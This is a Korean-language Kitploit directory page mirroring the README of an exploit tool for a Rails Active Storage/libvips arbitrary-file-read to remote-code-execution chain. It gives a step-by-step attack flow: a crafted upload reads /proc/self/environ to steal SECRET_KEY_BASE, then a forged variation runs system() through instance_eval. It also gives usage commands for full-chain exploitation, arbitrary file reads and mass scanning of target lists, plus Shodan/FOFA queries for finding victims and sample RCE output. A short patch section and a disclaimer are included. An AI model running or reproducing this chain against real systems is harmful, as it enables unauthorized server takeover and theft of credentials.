Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-66066
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1

저장소 보기
116일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips 임의 파일 읽기 → SECRET_KEY_BASE 탈취 → RCE


개요

CVE-2026-66066은 Ruby on Rails Active Storage에서 발생하는 치명적 심각도(CVSS 9.5)의 인증 전(pre-authentication) 임의 파일 읽기 → 원격 코드 실행 공격 체인으로, 기본 구성의 Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3에 영향을 미칩니다.

이 취약점은 Rails, libvips, libmatio, HDF5 전반에 걸친 4계층 파서 혼동(four-layer parser confusion) 을 악용합니다. MATLAB 5.0 헤더(libvips 스니퍼를 충족)와 HDF5 v7.3 컨테이너(libmatio가 디스패치)를 가진 조작된 파일에는 서버 측 임의 파일 경로를 가리키는 외부 데이터셋(external dataset) 이 포함되어 있습니다. ActiveStorage가 이 파일을 이미지 변형(variant)으로 처리하면 대상 파일의 바이트가 이미지 픽셀로 변환되어 인증 없이 임의 파일 읽기가 가능해집니다.

SECRET_KEY_BASE가 /proc/self/environ 또는 자격 증명 파일에서 획득되면, 공격자는 Active Storage verifier 키를 파생하고 instance_eval이 포함된 서명된 variation JSON을 위조하여 원격 코드 실행을 달성합니다.

영향받는 설치: 500K+ Rails 애플리케이션 (Rails 7+ 기본값 variant_processor = :vips) 발견: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, 2026년 7월 패치: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (2026년 7월 29일)

영향을 받는 버전

브랜치취약 버전수정 버전
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x는 variant_processor = :vips를 수동으로 활성화한 경우에만 영향을 받습니다.

발견: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph 참조 PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


취약점 메커니즘

근본 원인: 4계층 파서 혼동

이 익스플로잇은 네 가지 구성 요소에 걸쳐 두 가지 독립적인 콘텐츠 유형(content-type) 불일치 를 연쇄적으로 활용합니다:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

이중 정체성 파일

정상적인 작성자는 바이트 0에 MATLAB 5.0, 바이트 124에 0x0200을 동시에 기록하지 않습니다.

작동 원리

  1. 클라이언트가 선언한 content_type — Blob#variable?는 직접 업로드 시점에 채워진 데이터베이스 열을 신뢰합니다. 바이트는 전혀 검사되지 않습니다.
  2. libvips 자동 감지 — Vips::Image.new_from_file는 로더들을 순회하며, matload의 스니퍼는 10바이트만 검사합니다.
  3. libmatio 버전 디스패치 — 바이트 124–125가 파서를 결정하며, 설명 텍스트와 무관하게 0x0200이 HDF5 백엔드를 선택합니다.
  4. HDF5 외부 데이터셋 — H5Pset_external은 데이터셋의 원시 바이트가 임의의 외부 파일에 저장될 수 있게 합니다. libmatio는 H5Pget_external_count를 확인하지 않고 H5Dread를 호출합니다.
  5. Variation 키는 blob에 독립적 — 수집된 variation 키는 blob ID가 아닌 변환(transform)만 서명하므로, 업로드된 모든 blob에서 재사용할 수 있습니다.
  6. Vips 트랜스포머에 메서드 허용 목록(allowlist) 없음 — Transformers::Vips는 기본 클래스에서 validate_transformation을 상속하는데, 이는 combine_options만 차단합니다. 임의의 메서드 이름이 Vips::Image.public_send로 전달됩니다.

공격 흐름

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

확인된 소스 코드 참조


설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

사용법

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

인자

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

개념 증명

단일 대상

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

파일 읽기 전용

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

영향

성공적인 익스플로잇은 Rails 프로세스 사용자 권한으로 원격 코드 실행을 가능하게 합니다:

  • SECRET_KEY_BASE 추출 → 서명된 쿠키, 세션, ActiveStorage 토큰 위조
  • credentials.yml.enc 복호화 → 데이터베이스 비밀번호, 클라우드 스토리지 키, 타사 API 토큰
  • 위조된 세션을 통해 Rails 콘솔로 모든 애플리케이션 데이터 접근
  • Rails 호스트에서 접근 가능한 내부 서비스로 피벗
  • cron, SSH 키 또는 애플리케이션 수준 웹셸을 통한 지속적 백도어 배포

애플리케이션에 계정이 필요 없습니다. 직접 업로드 엔드포인트는 기본적으로 인증되지 않은 요청을 허용합니다.


수정 사항 (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

이 수정 사항은 신뢰할 수 없는 libvips 로더를 차단합니다:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

이로써 matload, svgload, fitsload, niiload, radload, openslideload가 신뢰할 수 없는 입력을 처리하지 못합니다. Rails 7.2.3.2, 8.0.5.1 또는 8.1.3.1로 업그레이드하세요. libvips >= 8.13 및 ruby-vips >= 2.2.1이 필요합니다.

패치 후: Rails 프로세스가 읽을 수 있는 모든 비밀값을 교체하세요 — SECRET_KEY_BASE, RAILS_MASTER_KEY, 데이터베이스 자격 증명, 클라우드 스토리지 키.


면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

소유자의 명시적 허가 없이 시스템에 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.


참고 자료


Ethiack Research Team + RyotaK + bl0rph가 발견. Ruby on Rails와 관련이 없습니다.

도구 다운로드
바이트용도값
0–9libvips 스니퍼MATLAB 5.0
10–123패딩공백
124–125libmatio 디스패처0x0200 (HDF5 v7.3)
126–127엔디언 마커0x4d49 (IM)
128–511HDF5 사용자 블록패딩
512+HDF5 슈퍼블록외부 데이터셋이 포함된 컨테이너
파일용도
activestorage/app/models/active_storage/blob.rbvariable?가 content_type 열을 신뢰함
activestorage/app/models/active_storage/blob/representable.rbrepresentation 라우트가 blob + variation을 독립적으로 해석함
activestorage/app/models/active_storage/variation.rbdecode가 variation 키를 검증하며 blob과의 상호 참조 없음
image_processing/lib/image_processing/transformers/vips.rb메서드 허용 목록 없음 — 기본 클래스 동작을 상속
libvips/foreign/matload.cvips__mat_ismat이 처음 10바이트만 스니핑
자료링크
Rails 보안 권고GHSA-xr9x-r78c-5hrm
참조 PoC (0xsha)KindaRails2Shell
Ethiack 연구kindarails2shell
Rails 포렌식rails-forensics-CVE-2026-66066
Metasploit 모듈rapid7/metasploit-framework#21733
CWE-94코드 인젝션